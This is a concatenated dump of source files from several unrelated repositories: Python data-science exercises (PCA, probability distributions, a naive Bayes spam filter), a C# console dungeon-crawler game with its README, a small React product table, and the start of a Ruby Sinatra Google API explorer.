def scale(data_matrix: np.ndarray):
"""列ごとの平均値と行順偏差を返す"""
means = np.mean(data_matrix, axis=0)
stdevs = np.std(data_matrix, axis=0)
return means, stdevs
def rescale(data_matrix: np.ndarray):
"""平均0、標準偏差が1になるようにスケールを変換する"""
means, stdevs = scale(data_matrix)
def rescaled(i, j):
if stdevs[j] > 0:
return (data_matrix[i, j] - means[j]) / stdevs[j]
else:
# 標準偏差が0の場合は動かない
return data_matrix[i, j]
shape = data_matrix.shape
return make_matrix(shape[0], shape[1], rescaled)
def de_mean_matrix(A: np.ndarray):
"""各列の平均を0にする"""
col_means, _ = scale(A)
# 各列の値を列平均から引く
return make_matrix(A.shape[0], A.shape[1], lambda i, j: A[i, j] - col_means[j])
def direction(w):
"""大きさ1のベクトルを返す"""
mag = np.linalg.norm(w)
return w / mag
def directional_variance_i(x_i, w):
"""w方向のx_iの各店の2乗を求める"""
# wで線形変換した後に二乗する
# 平均が0なので2乗するだけでいい
return np.dot(x_i, direction(w)) ** 2
def directional_variance(X, w):
"""w方向のデータの分散を求める"""
return (directional_variance(x_i, w) for x_i in X)
def directional_variance_gradient_i(x_i, w):
"""w_i列の値がw方向にある分散に対する勾配"""
# w方向で0からどれだけ離れているか
projection_length = np.dot(x_i, direction(w))
# x_iの各x,yに対し(0, 0)からwの投影距離の2倍を乗じる
return np.array([2 * projection_length * x_ij for x_ij in x_i])
def directional_variance_gradient(X: np.ndarray, w: np.ndarray):
"""各点の勾配の和"""
return np.sum(directional_variance_gradient_i(x_i, w) for x_i in X)
def first_principal_component(X: np.ndarray):
guess = np.array([1 for _ in X[0]]) # 初期値, 各成分が1
unscaled_maximizer = maximize_stochastic(
lambda x_i, _, w: directional_variance_i(x_i, w), # 各点に対しw方向の分散を計算してその和が最大になるようにする
lambda x_i, _, w: directional_variance_gradient_i(x_i, w), # 各点に対しw方向の勾配
X,
np.array([None for _ in X]), # dummyのy
guess # 初期値
)
return direction(unscaled_maximizer)
def project(v, w):
"""点vをw方向に射影したベクトルを返す"""
# w方向の長さ
projection_length = np.dot(v, w)
# w方向のprojection_lengthの長さ
return w * projection_length
def remove_projection_from_vector(v, w):
"""vからw成分を取り除く"""
return v - project(v, w)
def remove_projection(X, w):
"""Xの各成分に対してw成分を取り除く"""
return np.array([remove_projection_from_vector(x_i, w) for x_i in X])
def principal_component_analysis(X, num_components):
"""主成分分析により、軸を決定する"""
components = []
for _ in range(num_components):
component = first_principal_component(X)
components.append(component)
X = remove_projection(X, component)
return np.array(components)
def transform_vector(v, components):
return np.array([np.dot(v, w) for w in components])
def transform(X, components):
"""Xの各成分をcomponentsの軸に変換する"""
return np.array([transform_vector(x_i, components) for x_i in X])
if __name__ == '__main__':
uniform = [200 * np.random.random() - 100 for _ in range(100000)]
plot_histogram(uniform, 10)
# random.rand()は0-1までの一様分布
# 一様分布の値列(rand())を投入して、標準分布の逆
normal = [57 * inverse_normal_cdf(np.random.rand()) for i in range(100000)]
plot_histogram(normal, 10)
xs = [random_normal() for _ in range(1000)]
ys1 = [x + random_normal() / 2 for x in xs]
ys2 = [-x + random_normal() / 2 for x in xs]
plt.scatter(xs, ys1, marker=".")
plt.scatter(xs, ys2, marker=".")
plt.show()
from chap5 import correlation
correlation(ys1, ys2)
correlation(xs, ys1)
correlation(xs, ys2)
max_appl_price = max([d['closing_price'] for d in load_stocks() if d['symbol'] == 'AAPL'])
data = load_stocks()
max_appl_price_by_symbol = group_by(picker('symbol'),
data,
lambda r: max(pluck('closing_price', r)))
changes_by_symbol = group_by(picker("symbol"), data, day_over_day_changes)
# またsymbolに戻る
all_changes = [change for changes in changes_by_symbol.values() for change in changes]
min(all_changes, key=picker("change"))
overall_change_by_month = group_by(lambda r: r['date'].month,
all_changes,
overall_change)
plt.style.use('seaborn-whitegrid')
plt.scatter(X[:, 0], X[:, 1])
de_meaned_X = de_mean_matrix(X)
w = first_principal_component(de_meaned_X)
rm_X = remove_projection(de_meaned_X, w)
plt.scatter(rm_X[:, 0], rm_X[:, 1])
axis = principal_component_analysis(de_meaned_X, 2)<file_sep>/chap6.py
from collections import Counter
from random import random
import numpy as np
import matplotlib.pyplot as plt
import csv
from scipy.special import erf
def random_kid():
return np.random.choice(['boy', 'girl'])
def uniform_df(x):
return 1 if 0 <= x < 1 else 0
def normal_pdf(x, mu=0, sigma=1.0):
sqrt_two_pi = np.sqrt(2 * np.pi) * sigma
exp = np.exp(- np.power(x - mu, 2) / (2 * sigma ** 2))
return exp / sqrt_two_pi
def normal_cdf(x, mu=0, sigma=1):
# erf = 2/sqrt(pi)*integral(exp(-t**2), t=0..z)
t = (x - mu) / (np.sqrt(2) * sigma)
return (1 + erf(t)) / 2
def inverse_normal_cdf(p, mu=0, sigma=1, tolerance=0.000001):
if mu != 0 or sigma != 1:
return mu + sigma * inverse_normal_cdf(p, tolerance=tolerance)
# -10以下の確率はほぼ0
low_z, low_p = -10.0, 0.0
# 10以下の確率はほぼ1
hi_z, hi_p = 10.0, 1
mid_z = (low_z + hi_z) / 2
while hi_z - low_z > tolerance:
mid_z = (low_z + hi_z) / 2
# 中間のmid_z以下の確率
mid_p = normal_cdf(mid_z)
# pを求める
# 目標確率のpより小さければlowを上げる
# 目標確率のpより大きければhiを下げる
if mid_p < p:
low_z, low_p = mid_z, mid_p
elif mid_p > p:
hi_z, hi_p = mid_z, mid_p
else:
break
return mid_z
def bernoulli_trial(p):
return 1 if random.random() < p else 0
def binomial(n, p):
return sum(bernoulli_trial(p) for _ in range(n))
def make_hist(p, n, num_points):
data = [binomial(n, p) for _ in range(num_points)]
histogram = Counter(data)
# 正規分布を重ねる
xs = [x for x in range(min(histogram.keys()), max(histogram.keys()) + 1)]
ys = [normal_pdf(x, n * p, np.sqrt(n * p * (1 - p))) for x in xs]
plt.plot(xs, ys)
plt.bar(histogram.keys(), [y / num_points for y in histogram.values()])
if __name__ == '__main__':
plt.plot(np.arange(-1.0, 1.0, 0.1), [uniform_df(x) for x in np.arange(-1.0, 1.0, 0.1)])
xs = [x / 10.0 for x in range(-50, 50)]
plt.plot(xs, [normal_pdf(x, sigma=1) for x in xs], '-')
plt.plot(xs, [normal_pdf(x, sigma=2) for x in xs], '--')
plt.plot(xs, [normal_pdf(x, sigma=0.5) for x in xs], ':')
make_hist(0.5, 100, 10000000)
<file_sep>/chap13.py
import math
import re
import numpy as np
from collections import defaultdict
from typing import NamedTuple, Dict, NewType, List, Tuple
def tokenize(message):
message = message.lower()
# 半角スペースなどで区切れる
all_words = re.findall("[a-z0-9']+", message)
return set(all_words)
class WordCount(NamedTuple):
is_spam: int
is_not_spam: int
def count_words(training_set: Tuple[str, bool]):
# 1要素目がspamの数、2要素目がspamでない数
counts: Dict[str, WordCount] = defaultdict(lambda: WordCount(is_spam=0, is_not_spam=0))
for message, is_spam in training_set:
for word in tokenize(message):
if is_spam:
counts[word].is_spam += 1
else:
counts[word].is_not_spam += 1
return counts
class WordProbabilities(NamedTuple):
"""wordと、スパムが出た時、出ない時の、単語が出る確率"""
word: str
p_word_in_is_spam: int
p_word_in_is_not_spam: int
def word_probabilities(counts: Dict[str, WordCount], total_spams, total_non_spams, k=0.5):
"""word_countsを、単語、p(単語|spam)、p(単語|¬spam)にする"""
return [WordProbabilities(
word=w,
p_word_in_is_spam=(k + word_count.is_spam) / (total_spams + 2 * k),
p_word_in_is_not_spam=(k + word_count.is_not_spam) / (total_non_spams + 2 * k)
) for w, word_count in counts.items()]
def spam_probability(word_probs: List[WordProbabilities], message):
message_words = tokenize(message)
log_prob_if_spam = log_prob_if_not_spam = 0.0
for wprob in word_probs:
# message_words内にword_probsがある場合
# スパム中(又はスパムでないメール中)に単語を含む確率の対数を足す
if wprob.word in message_words:
log_prob_if_spam += math.log(wprob.p_word_in_is_spam)
log_prob_if_not_spam += math.log(wprob.p_word_in_is_not_spam)
# メッセージに単語が現れなかった場合
# スパム中(又はスパムでないメール中)に単語を含まない確率の対数を足す
else:
log_prob_if_spam += math.log(1 - wprob.p_word_in_is_spam)
log_prob_if_not_spam += math.log(1 - wprob.p_word_in_is_not_spam)
# スパムのとき(スパムでないとき)、message中の単語が出る確率
prob_if_spam = math.exp(log_prob_if_spam)
prob_if_not_spam = math.exp(log_prob_if_not_spam)
# P(X|S) / P(X) = P(S|X)
return prob_if_spam / (prob_if_spam + prob_if_not_spam)
class NaiveBayesClassifier:
def __init__(self, k=0.6):
self.k = k
self.word_probs = []
def train(self, training_set: Tuple[str, bool]):
num_spams = len([is_spam for message, is_spam in training_set if is_spam])
num_non_spams = len(training_set) - num_spams
word_counts = count_words(training_set)
self.word_probs = word_probabilities(word_counts, num_spams, num_non_spams, self.k)
def classify(self, message: str):
return spam_probability(self.word_probs, message)
if __name__ == '__main__':
pass
| bc5dbb0321afb0911a6f175c3bcb464192c439d7 | [
"Python"
] | 7 | Python | usagisagi/data-science-from-scratch | fdffc55c2697ce9db3121d7f3b705c38d20b2c9e | a391cd14359603f15a319a4e833e80f74aaf440f |
refs/heads/main | <repo_name>Louis-Devlin/COMP1000CommandCrawler<file_sep>/Crawler/CMD-Crawler.cs
using System;
using System.IO;
namespace Crawler
{
/**
* The main class of the Dungeon Crawler Application
*
* You may add to your project other classes which are referenced.
* Complete the templated methods and fill in your code where it says "Your code here".
* Do not rename methods or variables which already exist or change the method parameters.
* You can do some checks if your project still aligns with the spec by running the tests in UnitTest1
*
* For Questions do contact us!
*/
public class CMDCrawler
{
/**
* use the following to store and control the next movement of the yser
*/
public enum PlayerActions { NOTHING, NORTH, EAST, SOUTH, WEST, PICKUP, ATTACK, QUIT };
private PlayerActions action = PlayerActions.NOTHING;
private char[][] map = new char[0][];
private char[][] oMap = new char[0][];
//These private maps are used to store the maps in jagged arrays
private bool running = false;
private int gold = 0;
private int monsterHealth = 5;
/**
* tracks if the game is running
*/
private bool active = true;
private bool mapLoaded = false;
/**
* Reads user input from the Console
*
* Please use and implement this method to read the user input.
*
* Return the input as string to be further processed
*
*/
private string ReadUserInput()
{
string inputRead = string.Empty;
if (running == true)
// If the map has been loaded, then take user input as a key press instead of having to press enter
{
Console.WriteLine();
ConsoleKeyInfo inp = Console.ReadKey();
inputRead = inp.KeyChar.ToString();
}
else
{
inputRead = Console.ReadLine();
}
// Your code here
return inputRead;
}
///<summary>
///Resets map tile to original value after walking over it
///</summary>
private void resetMap(int y, int x) {
map[y][x] = oMap[y][x];
if (map[y][x] == 'S') {
map[y][x] = '.';
//Removes S from the map after player leaves start tille
}
}
///<summary>
///Asks if the user wishes to replay the game
///</summary>
private void replay(){
Console.WriteLine("Do you wish to play the game again?: y/n");
string inp = Console.ReadLine().ToLower();
if(inp == "y"){
action = PlayerActions.NOTHING;
map = new char[0][];
oMap = new char[0][];
gold = 0;
monsterHealth = 5;
mapLoaded = false;
//If player wishes to replay then set all the object variavles back to initial values
}else {
action = PlayerActions.QUIT;
}
}
/**
* Processed the user input string
*
* takes apart the user input and does control the information flow
* * initializes the map ( you must call InitializeMap)
* * starts the game when user types in Play
* * sets the correct playeraction which you will use in the GameLoop
*/
public void ProcessUserInput(string input)
{
// Your Code here
string[] inp = input.Split(' ');
//Splits the input so that only the map name gets passed in when InitializeMap is called
if (input == "load Simple.map")
{
InitializeMap(inp[1]);
Console.WriteLine("Map has been loaded");
}
else if (input == "load Advanced.map")
{
InitializeMap(inp[1]);
}
else if (input == "play")
{
if (mapLoaded)
{
action = PlayerActions.NOTHING;
running = true;
}
else
{
Console.WriteLine("Game cannot be played yet please load a map");
}
}
if (running)
// This if statements will only be looked at if the map has been loaded and the game is running
{
//Takes in input and set it to the relevant player action
input = input.ToLower();
if (input == "w")
{
action = PlayerActions.NORTH;
}
else if (input == "a")
{
action = PlayerActions.WEST;
}
else if (input == "s")
{
action = PlayerActions.SOUTH;
}
else if (input == "d")
{
action = PlayerActions.EAST;
}
else if (input == "e")
{
action = PlayerActions.PICKUP;
}
else if (input == " ")
{
action = PlayerActions.ATTACK;
}
}
}
/**
* The Main Game Loop.
* It updates the game state.
*
* This is the method where you implement your game logic and alter the state of the map/game
* use playeraction to determine how the character should move/act
* the input should tell the loop if the game is active and the state should advance
*/
public void GameLoop(bool active)
{
if (running) {
try{
Console.Clear();
}catch(IOException){
}
}
//Console.Clear();
char[][] oMap = GetOriginalMap();
int[] pos = GetPlayerPosition();
int curAction = GetPlayerAction();
//Gets the original map, current player position and current player action for use in the game loop
int posY = pos[1];
int posX = pos[0];
//Moves the player or does other actions depending on current action
if (curAction == 1)
{
if (map[posY - 1][posX] == '#' || map[posY - 1][posX] == 'M') { }
//Checks that the player is not trying to walk through a wall or monster
else
{
map[posY - 1][posX] = '@';
resetMap(posY,posX);
//Moves the player and sets the previous tile back to what it originally was
}
action = PlayerActions.NOTHING;
}
else if (curAction == 2)
{
if (map[posY][posX + 1] == '#' || map[posY][posX + 1] == 'M') { }
else
{
map[posY][posX + 1] = '@';
resetMap(posY,posX);
}
action = PlayerActions.NOTHING;
}
else if (curAction == 3)
{
if (map[posY + 1][posX] == '#' || map[posY + 1][posX] == 'M') { }
else
{
map[posY + 1][posX] = '@';
resetMap(posY,posX);
}
action = PlayerActions.NOTHING;
}
else if (curAction == 4)
{
if (map[posY][posX - 1] == '#' || map[posY][posX - 1] == 'M') { }
else
{
map[posY][posX - 1] = '@';
resetMap(posY,posX);
}
action = PlayerActions.NOTHING;
}
else if (curAction == 5)
{
if (oMap[posY][posX] == 'G')
{
oMap[posY][posX] = '.';
//map[posY][posX] = '.';
gold++;
//Pickups gold and set it back to a . on the orignal map so you cant pickup the same gold
}
}
else if (curAction == 6)
{
//Checks if any of the tiles all around the player are a monster, if they are then attack
//If monster health is zero remove monster from map
if (map[posY + 1][posX] == 'M')
{
if (monsterHealth > 0) monsterHealth--;
else {
map[posY + 1][posX] = '.';
oMap[posY + 1][posX] = '.';
}
}
else if (map[posY - 1][posX] == 'M')
{
if (monsterHealth > 0) monsterHealth--;
else {
map[posY - 1][posX] = '.';
oMap[posY-1][posX] = '.';
}
}
else if (map[posY][posX + 1] == 'M')
{
if (monsterHealth > 0) monsterHealth--;
else {
map[posY][posX + 1] = '.';
oMap[posY][posX + 1] = '.';
}
}
else if (map[posY][posX - 1] == 'M')
{
if (monsterHealth > 0) monsterHealth--;
else {
map[posY][posX - 1] = '.';
oMap[posY][posX - 1] = '.';
}
}
}
pos = GetPlayerPosition();
posY = pos[1];
posX = pos[0];
//To check if the player has reached the end, you need to get the updated player position
if (posY != 0 && posX != 0) {
if (oMap[posY][posX] == 'E') //Checks if the user has reached the end
{
running = false;
action = PlayerActions.QUIT;
//replay();
///Asks if the user wants to replay game
}
}
GetCurrentMapState(); //Prints the map after the game logic is complete and player has moved
}
/**
* Map and GameState get initialized
* mapName references a file name
*
* Create a private object variable for storing the map in Crawler and using it in the game.
*/
public bool InitializeMap(String mapName)
{
//bool initSuccess = false;
string path = @"./maps/";
// Your code here
try
{
mapName = path + mapName;
string[] startMap = File.ReadAllLines(mapName); //Reads the map file into an array
map = new char[startMap.Length][];
oMap = new char[startMap.Length][];
//2d jagged array created to store each map tile
for (int i = 0; i < startMap.Length; i++)
{
map[i] = startMap[i].ToCharArray();
oMap[i] = startMap[i].ToCharArray();
//Iterates through each line of the map and put it into the jagged array
}
for (int y = 0; y < map.Length; y++)
{
for (int x = 0; x < map[y].Length; x++)
{
if (map[y][x] == 'S')
{
map[y][x] = '@';
}
}
//Itterates through the map that will be updated and adds the player
}
//initSuccess = true;
mapLoaded = true;
// running = true;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return mapLoaded;
}
/**
* Returns a representation of the currently loaded map
* before any move was made.
*/
public char[][] GetOriginalMap()
{
//Returns the original map
char[][] map = oMap;
// Your code here
return map;
}
/*
* Returns the current map state
* without altering it
*/
public char[][] GetCurrentMapState()
{
int[] pos = GetPlayerPosition();
// the map should be map[y][x]
if (!running) return oMap;
//If play has not been entered then @ must not be on the map yet
else if (pos[0] == 0 && pos[1] == 0) Console.WriteLine("Map has not been loaded!");
//Doubles checks if the map hasnt been loaded (only way not to cause an error if play is entered first)
else
{
char[][] map = this.map;
foreach (char[] c in map)
{
Console.WriteLine(c);
//Loops through the map and prints each line
}
Console.Write("Gold Collected: " + gold);
Console.Write(" ");
Console.WriteLine("Monster Health: " + monsterHealth);
//Shows the gold collected and monster health
}
return map;
}
/**
* Returns the current position of the player on the map
*
* The first value is the x corrdinate and the second is the y coordinate on the map
*/
public int[] GetPlayerPosition()
{
int[] position = { 0, 0 };
//Loops through the map to find the player
for (int y = 0; y < map.Length; y++)
{
for (int x = 0; x < map[y].Length; x++)
{
if (map[y][x] == '@')
{
position[0] = x;
position[1] = y;
}
}
}
return position;
}
/**
* Returns the next player action
*
* This method does not alter any internal state
*/
public int GetPlayerAction()
{
int action = (int)this.action;
//casts the enum player action to an int
// Your code here
return action;
}
public bool GameIsRunning()
{
return running;
//Returns whether game is running
}
/**
* Main method and Entry point to the program
* ####
* Do not change!
*/
static void Main(string[] args)
{
CMDCrawler crawler = new CMDCrawler();
string input = string.Empty;
Console.WriteLine("Welcome to the Commandline Dungeon!" + Environment.NewLine +
"May your Quest be filled with riches!" + Environment.NewLine);
// Loops through the input and determines when the game should quit
while (crawler.active && crawler.action != PlayerActions.QUIT)
{
Console.WriteLine("Your Command: ");
input = crawler.ReadUserInput();
Console.WriteLine(Environment.NewLine);
crawler.ProcessUserInput(input);
crawler.GameLoop(crawler.active);
}
Console.WriteLine("See you again" + Environment.NewLine +
"In the CMD Dungeon! ");
}
}
}
<file_sep>/README.md
# Crawler
## How To Open Crawler
I have compiled the project so that it can be executed on both Mac and Windows below are the instructions on how to execute it
### On Windows
Navigate to the Windows folder in Coursework submit and in a PowerShell window and enter the following command `.\Crawler.exe`
### On Mac ( you will need [mono](https://www.mono-project.com/download/stable/) for this)
Navigate to the Mac folder in Coursework submit in a terminal window and enter the following command
`mono Crawler.exe`
Video Submission - https://youtu.be/ICXL2tfMdxk
## Description of Project
Crawler is a command-line based dungeon crawler made as part of my COMP1000 assignment. We were given a starting code base with all the functions that we needed to be able to complete the game. This gave us a structure to work on the project along with tests that needed to pass to confirm that the program met the requirements set. <br></br>
Set structures included :
- Using a jagged array to store the map - this brought complexity to the project as figuring out how to iterate through an array where the size of each row varied was confusing to start with
- storing the current player action using an enum
## Controls
- W - Move up
- A - Move left
- S - Move down
- D - Move right
- E - Pickup gold
- Spacebar - Attack monster
## Advanced Features
- Added collectable gold <br></br>

- Move the player without enter needing to be pressed <br></br>
- Added being able to attack Monsters <br></br>

- Allow the player to be able to replay the game (This feature is not implemented currently as it causes a hang at the tests, it has been commented out but can work as shown below) <br></br>
[](https://gyazo.com/428be7c705c7cf4aa0758b9dafdc5e38)
- Advanced map can be loaded and played <br></br>
[](https://gyazo.com/b31b95ca8d3835f60d2cebd7e427c2e4)
## Updates to code (11/01/21)
I have wrapped the Console.Clear() in the start of my game loop in a try/catch to not cause it to fail the automarker
## Resources used
https://guides.github.com/features/mastering-markdown/ - Gyazo for GIFs showing advanced features
https://stackoverflow.com/questions/36583502/how-to-force-a-linebreak - Forcing linebreak in markdown
https://www.geeksforgeeks.org/c-sharp-jagged-arrays/ - Looping through a jagged array
<file_sep>/Crawler/Run.Command
#! /bin/bash
cd ~/Desktop/COMP1000/coursework/coursework2-Louis-Devlin/Crawler
rm CMD-Crawler.exe
mcs CMD-Crawler.cs
mono CMD-Crawler.exe | 6ece4601244f57e66e4942346969bc61a61bfcd4 | [
"Markdown",
"C#",
"Shell"
] | 3 | C# | Louis-Devlin/COMP1000CommandCrawler | c10ef32be0b37c5561a86740db70cfcbae418448 | 6640df2ae01b45fb1dfef3684a40b8210676a07d |
refs/heads/main | <repo_name>D-Antonelli/react-product-table<file_sep>/src/index.js
import React, { useState } from "react";
import ReactDOM from "react-dom";
import "./index.css";
function ProductCategoryRow({ category }) {
return (
<tr>
<th>{category}</th>
</tr>
);
}
function ProductRow({ product }) {
const name = product.stocked? product.name : <span style={{color: "red"}}>{product.name}</span>
return (
<tr>
<td>{name}</td>
<td>{product.price}</td>
</tr>
);
}
function ProductTable({ products, filterText, inStockOnly }) {
let current = "";
let rows = [];
products.forEach((item) => {
if(!item.stocked && inStockOnly) {
return;
}
if(!item.name.toUpperCase().startsWith(filterText.toUpperCase())) {
return;
}
if(item.category !== current) {
current = item.category;
rows.push(<ProductCategoryRow category={item.category}/>)
}
rows.push(<ProductRow product={item}/>)
});
return (
<table>
<thead>
<tr>
<th>Name</th>
<th>Price</th>
</tr>
</thead>
<tbody>{rows}</tbody>
</table>
);
}
function SearchBar({ onChange, filterText, inStock }) {
return (
<form className="form">
<input
className="form__text"
name="filter"
type="text"
value={filterText}
placeholder="Search..."
onChange={(e) => onChange(e)}
/>
<label>
Only show products in stock
<input
className="form__checkbox"
name="inStock"
type="checkbox"
checked={inStock}
onChange={(e) => onChange(e)}
/>
</label>
</form>
);
}
function FilterableProductTable({ products }) {
const [filterText, setFilterText] = useState("");
const [inStock, setInStock] = useState(false);
function handleSearch(e) {
const target = e.target;
if (target.type === "text") {
setFilterText(target.value);
} else if (target.type === "checkbox") {
setInStock(target.checked);
}
}
return (
<div className="App">
<SearchBar
onChange={(e) => handleSearch(e)}
value={filterText}
inStockOnly={inStock}
/>
<ProductTable
products={products}
filterText={filterText}
inStockOnly={inStock}
/>
</div>
);
}
const PRODUCTS = [
{
category: "Sporting Goods",
price: "$49.99",
stocked: true,
name: "Football",
},
{
category: "Sporting Goods",
price: "$9.99",
stocked: true,
name: "Baseball",
},
{
category: "Sporting Goods",
price: "$29.99",
stocked: false,
name: "Basketball",
},
{
category: "Electronics",
price: "$99.99",
stocked: true,
name: "iPod Touch",
},
{
category: "Electronics",
price: "$399.99",
stocked: false,
name: "iPhone 5",
},
{ category: "Electronics", price: "$199.99", stocked: true, name: "Nexus 7" },
];
ReactDOM.render(
<FilterableProductTable products={PRODUCTS} />,
document.getElementById("root")
);
| 4bf156ec26f6aefda90082bdf141897187aa2fb8 | [
"JavaScript"
] | 1 | JavaScript | D-Antonelli/react-product-table | d298f871365eaf2bfdad486eba1ac546b36943da | 8384b1942d3383291b2deeca8c4d51b7f7ca91e4 |
refs/heads/master | <repo_name>jeroenvandijk/google-api-ruby-client<file_sep>/examples/sinatra/explorer.rb
#!/usr/bin/env ruby
# INSTALL
# sudo gem install sinatra liquid
# RUN
# ruby examples/sinatra/buzz_api.rb
root_dir = File.expand_path("../../..", __FILE__)
lib_dir = File.expand_path("./lib", root_dir)
$LOAD_PATH.unshift(lib_dir)
$LOAD_PATH.uniq!
require 'rubygems'
begin
gem 'rack', '= 1.2.0'
require 'rack'
rescue LoadError
STDERR.puts "Missing dependencies."
STDERR.puts "sudo gem install rack -v 1.2.0"
exit(1)
end
begin
require 'sinatra'
require 'liquid'
require 'signet/oauth_1/client'
require 'google/api_client'
rescue LoadError
STDERR.puts "Missing dependencies."
STDERR.puts "sudo gem install sinatra liquid signet google-api-client"
exit(1)
end
enable :sessions
CSS = <<-CSS
/* http://meyerweb.com/eric/tools/css/reset/ */
/* v1.0 | 20080212 */
html, body, div, span, applet, object, iframe,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
del, dfn, em, font, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var,
b, u, i, center,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td {
margin: 0;
padding: 0;
border: 0;
outline: 0;
font-size: 100%;
vertical-align: baseline;
background: transparent;
}
body {
line-height: 1;
}
ol, ul {
list-style: none;
}
blockquote, q {
quotes: none;
}
blockquote:before, blockquote:after,
q:before, q:after {
content: '';
content: none;
}
/* remember to define focus styles! */
:focus {
outline: 0;
}
/* remember to highlight inserts somehow! */
ins {
text-decoration: none;
}
del {
text-decoration: line-through;
}
/* tables still need 'cellspacing="0"' in the markup */
table {
border-collapse: collapse;
border-spacing: 0;
}
/* End Reset */
body {
color: #555555;
background-color: #ffffff;
font-family: 'Helvetica', 'Arial', sans-serif;
font-size: 18px;
line-height: 27px;
padding: 27px 72px;
}
p {
margin-bottom: 27px;
}
h1 {
font-style: normal;
font-variant: normal;
font-weight: normal;
font-family: 'Helvetica', 'Arial', sans-serif;
font-size: 36px;
line-height: 54px;
margin-bottom: 0px;
}
h2 {
font-style: normal;
font-variant: normal;
font-weight: normal;
font-family: 'Monaco', 'Andale Mono', 'Consolas', 'Inconsolata', 'Courier New', monospace;
font-size: 14px;
line-height: 27px;
margin-top: 0px;
margin-bottom: 54px;
letter-spacing: 0.1em;
text-transform: none;
text-shadow: rgba(204, 204, 204, 0.75) 0px 1px 0px;
}
#output h3 {
font-style: normal;
font-variant: normal;
font-weight: bold;
font-size: 18px;
line-height: 27px;
margin: 27px 0px;
}
#output h3:first-child {
margin-top: 0px;
}
ul, ol, dl {
margin-bottom: 27px;
}
li {
margin: 0px 0px;
}
form {
float: left;
display: block;
}
form label, form input, form textarea {
font-family: 'Monaco', 'Andale Mono', 'Consolas', 'Inconsolata', 'Courier New', monospace;
display: block;
}
form label {
margin-bottom: 5px;
}
form input {
width: 300px;
font-size: 14px;
padding: 5px;
}
form textarea {
height: 150px;
min-height: 150px;
width: 300px;
min-width: 300px;
max-width: 300px;
}
#output {
font-family: 'Monaco', 'Andale Mono', 'Consolas', 'Inconsolata', 'Courier New', monospace;
display: inline-block;
margin-left: 27px;
padding: 27px;
border: 1px dotted #555555;
width: 1120px;
max-width: 100%;
min-height: 600px;
}
#output pre {
overflow: auto;
}
a {
color: #000000;
text-decoration: none;
border-bottom: 1px dotted rgba(112, 56, 56, 0.0);
}
a:hover {
-webkit-transition: all 0.3s linear;
color: #703838;
border-bottom: 1px dotted rgba(112, 56, 56, 1.0);
}
p a {
border-bottom: 1px dotted rgba(0, 0, 0, 1.0);
}
h1, h2 {
color: #000000;
}
h3, h4, h5, h6 {
color: #333333;
}
.block {
display: block;
}
button {
margin-bottom: 72px;
padding: 7px 11px;
font-size: 14px;
}
CSS
JAVASCRIPT = <<-JAVASCRIPT
var uriTimeout = null;
$(document).ready(function () {
$('#output').hide();
var rpcName = $('#rpc-name').text().trim();
var serviceId = $('#service-id').text().trim();
var getParameters = function() {
var parameters = {};
var fields = $('.parameter').parents('li');
for (var i = 0; i < fields.length; i++) {
var input = $(fields[i]).find('input');
var label = $(fields[i]).find('label');
if (input.val() && input.val() != "") {
parameters[label.text()] = input.val();
}
}
return parameters;
}
var updateOutput = function (event) {
var request = $('#request').text().trim();
var response = $('#response').text().trim();
if (request != '' || response != '') {
$('#output').show();
} else {
$('#output').hide();
}
}
var handleUri = function (event) {
updateOutput(event);
if (uriTimeout) {
clearTimeout(uriTimeout);
}
uriTimeout = setTimeout(function () {
$.ajax({
"url": "/template/" + serviceId + "/" + rpcName + "/",
"data": getParameters(),
"dataType": "text",
"ifModified": true,
"success": function (data, textStatus, xhr) {
updateOutput(event);
if (textStatus == 'success') {
$('#uri-template').html(data);
if (uriTimeout) {
clearTimeout(uriTimeout);
}
}
}
});
}, 350);
}
var getResponse = function (event) {
$.ajax({
"url": "/response/" + serviceId + "/" + rpcName + "/",
"type": "POST",
"data": getParameters(),
"dataType": "html",
"ifModified": true,
"success": function (data, textStatus, xhr) {
if (textStatus == 'success') {
$('#response').text(data);
}
updateOutput(event);
}
});
}
var getRequest = function (event) {
$.ajax({
"url": "/request/" + serviceId + "/" + rpcName + "/",
"type": "GET",
"data": getParameters(),
"dataType": "html",
"ifModified": true,
"success": function (data, textStatus, xhr) {
if (textStatus == 'success') {
$('#request').text(data);
updateOutput(event);
getResponse(event);
}
}
});
}
var transmit = function (event) {
$('#request').html('');
$('#response').html('');
handleUri(event);
updateOutput(event);
getRequest(event);
}
$('form').submit(function (event) { event.preventDefault(); });
$('button').click(transmit);
$('.parameter').keyup(handleUri);
$('.parameter').blur(handleUri);
});
JAVASCRIPT
def client
@client ||= Google::APIClient.new(
:service => 'buzz',
:authorization => Signet::OAuth1::Client.new(
:temporary_credential_uri =>
'https://www.google.com/accounts/OAuthGetRequestToken',
:authorization_uri =>
'https://www.google.com/buzz/api/auth/OAuthAuthorizeToken',
:token_credential_uri =>
'https://www.google.com/accounts/OAuthGetAccessToken',
:client_credential_key => 'anonymous',
:client_credential_secret => 'anonymous'
)
)
end
def service(service_name, service_version)
unless service_version
service_version = client.latest_service_version(service_name).version
end
client.discovered_service(service_name, service_version)
end
get '/template/:service/:method/' do
service_name, service_version = params[:service].split("-", 2)
method = service(service_name, service_version).to_h[params[:method].to_s]
parameters = method.parameters.inject({}) do |accu, parameter|
accu[parameter] = params[parameter.to_sym] if params[parameter.to_sym]
accu
end
uri = Addressable::URI.parse(
method.uri_template.partial_expand(parameters).pattern
)
template_variables = method.uri_template.variables
query_parameters = method.normalize_parameters(parameters).reject do |k, v|
template_variables.include?(k)
end
if query_parameters.size > 0
uri.query_values = (uri.query_values || {}).merge(query_parameters)
end
# Normalization is necessary because of undesirable percent-escaping
# during URI template expansion
return uri.normalize.to_s.gsub('%7B', '{').gsub('%7D', '}')
end
get '/request/:service/:method/' do
service_name, service_version = params[:service].split("-", 2)
method = service(service_name, service_version).to_h[params[:method].to_s]
parameters = method.parameters.inject({}) do |accu, parameter|
accu[parameter] = params[parameter.to_sym] if params[parameter.to_sym]
accu
end
body = ''
request = client.generate_request(
method, parameters.merge("pp" => "1"), body, [], {:signed => false}
)
method, uri, headers, body = request
merged_body = StringIO.new
body.each do |chunk|
merged_body << chunk
end
merged_body.rewind
<<-REQUEST.strip
#{method} #{uri} HTTP/1.1
#{(headers.map { |k,v| "#{k}: #{v}" }).join('\n')}
#{merged_body.string}
REQUEST
end
post '/response/:service/:method/' do
